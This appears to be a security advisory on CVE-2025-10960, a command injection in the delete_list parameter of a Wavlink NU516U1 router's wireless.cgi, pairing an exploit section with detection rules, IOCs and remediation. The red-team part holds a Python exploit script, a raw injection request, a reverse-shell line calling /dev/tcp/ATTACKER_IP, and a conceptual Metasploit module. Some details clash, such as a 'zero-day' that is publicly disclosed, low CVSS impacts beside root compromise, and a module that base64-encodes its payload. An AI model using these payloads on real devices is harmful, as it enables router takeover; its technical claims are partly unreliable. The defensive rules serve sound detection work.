CVE-2025-10960

Executive Summary

CVE-2025-10960 is a critical command injection vulnerability in the Wavlink NU516U1 wireless router, specifically in firmware version M16U1_V240425. The flaw resides in the sub_402D1C function within /cgi-bin/wireless.cgi, where the delete_list argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. The exploit has been publicly disclosed, and no vendor patch exists, making this a high-risk zero-day for all affected devices. The CVSS score of 6.3 (Medium) understates the potential for full device compromise, as command injection can lead to complete network takeover.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Wavlink router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification possible.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: High due to public exploit availability, no patch, and widespread use of Wavlink devices in SOHO environments. An attacker can execute arbitrary commands as root, leading to full device compromise, lateral movement, and data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the sub_402D1C function of /cgi-bin/wireless.cgi. The delete_list parameter is passed directly to a system call (likely system() or popen()) without sanitization or escaping. The CGI script processes HTTP POST requests to delete MAC addresses from the wireless access control list. By injecting shell metacharacters (e.g., ;, |, &&) into the delete_list argument, an attacker can execute arbitrary commands.

Root Cause: Lack of input validation and use of unsafe functions for command execution. The firmware does not filter or escape shell metacharacters.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /cgi-bin/wireless.cgi with delete_list containing a command injection payload.
2. The CGI script passes the unsanitized input to a shell command.
3. The injected command executes with root privileges.
4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Example Payload:

POST /cgi-bin/wireless.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

delete_list=00:11:22:33:44:55;id

Vulnerable vs. Patched Code

Vulnerable Code (M16U1_V240425):

// Pseudocode of sub_402D1C
void sub_402D1C(char *delete_list) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwpriv ra0 set ACLDelMac=%s", delete_list);
    system(cmd);  // Unsafe: delete_list not sanitized
}

Patched Code (Hypothetical):

void sub_402D1C(char *delete_list) {
    // Validate MAC address format
    if (!is_valid_mac(delete_list)) {
        return;  // Reject invalid input
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwpriv ra0 set ACLDelMac=%s", delete_list);
    system(cmd);  // Still unsafe; better to use execve with sanitized args
}

Key Difference: The patched version should validate the MAC address format and avoid passing user input directly to system(). A secure implementation would use execve() with a fixed command and pass the MAC as a sanitized argument.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Wavlink NU516U1 router with firmware M16U1_V240425.
• Network access to the router's web interface (default IP: 192.168.1.1).
• Python3 or curl installed.

Exploit Script (Python):

import requests

target = "http://192.168.1.1/cgi-bin/wireless.cgi"
payload = "00:11:22:33:44:55;id"

data = {"delete_list": payload}
response = requests.post(target, data=data)

print(response.text)

Usage:

1. Replace target with the router's IP.
2. Run the script. The output will include the result of the id command.
3. For a reverse shell, use: ;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Wavlink NU516U1 Command Injection',
      'Description' => 'Exploits command injection in delete_list parameter',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-10960']],
      'DisclosureDate' => '2025-04-01',
      'Payload' => {'BadChars' => "\x00"},
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/wireless.cgi',
      'data' => "delete_list=#{Rex::Text.encode_base64(payload.encoded)}"
    })
  end
end

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/wireless.cgi with unusual delete_list values.
2. Look for shell metacharacters (;, |, &, $, `) in the delete_list parameter.
3. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444).
4. Review system logs for unexpected command execution (e.g., id, whoami, wget).

Honeypot Setup:

• Deploy a fake Wavlink router using a Python script that mimics the CGI endpoint and logs all requests.
• Alert on any POST to /cgi-bin/wireless.cgi with delete_list containing shell metacharacters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/wireless.cgi with delete_list containing ;, |, &&, or $().
• Outbound connections from the router to IPs on ports 4444, 1337, or 9999.
• DNS queries to suspicious domains (e.g., malware.example.com).

File IOCs:

• Unexpected files in /tmp/ or /var/ (e.g., shell.sh, payload.bin).
• Modified /etc/passwd or /etc/shadow with new root accounts.
• Presence of busybox or netcat binaries if not originally present.

Process IOCs:

• Running processes like bash, sh, nc, python, or perl spawned by httpd or cgi.
• High CPU usage from unknown processes.

Detection Engineering

YARA Rule

rule CVE_2025_10960_Wavlink_CommandInjection {
    meta:
        description = "Detects command injection attempts against Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-10960"
    strings:
        $payload1 = "delete_list=" ascii wide nocase
        $payload2 = /delete_list=[^&]*[;&|`$]/
    condition:
        $payload1 and $payload2
}

Sigma Rule

title: Wavlink NU516U1 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with suspicious delete_list parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /cgi-bin/wireless.cgi
        cs-uri-query|contains: "delete_list="
    filter:
        cs-uri-query|re: "delete_list=[0-9a-fA-F:]{17}$"
    condition: selection and not filter
falsepositives:
    - Legitimate MAC address deletion
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10960 Wavlink NU516U1 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/wireless.cgi"; http_uri;
    content:"delete_list="; http_client_body;
    pcre:"/delete_list=[^&]*[;&|`$]/Ri";
    reference:cve,2025-10960;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable WAN-side access to the router's web interface.
2. Restrict Access: Use firewall rules to allow only trusted IPs to access the router's management interface.
3. Monitor Logs: Enable logging and monitor for suspicious POST requests to /cgi-bin/wireless.cgi.
4. Firmware Update: Check Wavlink's website for a patched firmware. If unavailable, consider replacing the device.

Long-Term Mitigation:

• Network Segmentation: Place the router in a separate VLAN with limited access to critical assets.
• Web Application Firewall (WAF): Deploy a WAF to filter malicious payloads targeting CGI endpoints.
• Vendor Communication: Report the vulnerability to Wavlink again and consider public disclosure if unpatched.

Workaround:

• Manually patch the firmware by modifying the CGI binary to sanitize input (requires reverse engineering and re-flashing).

Valters IT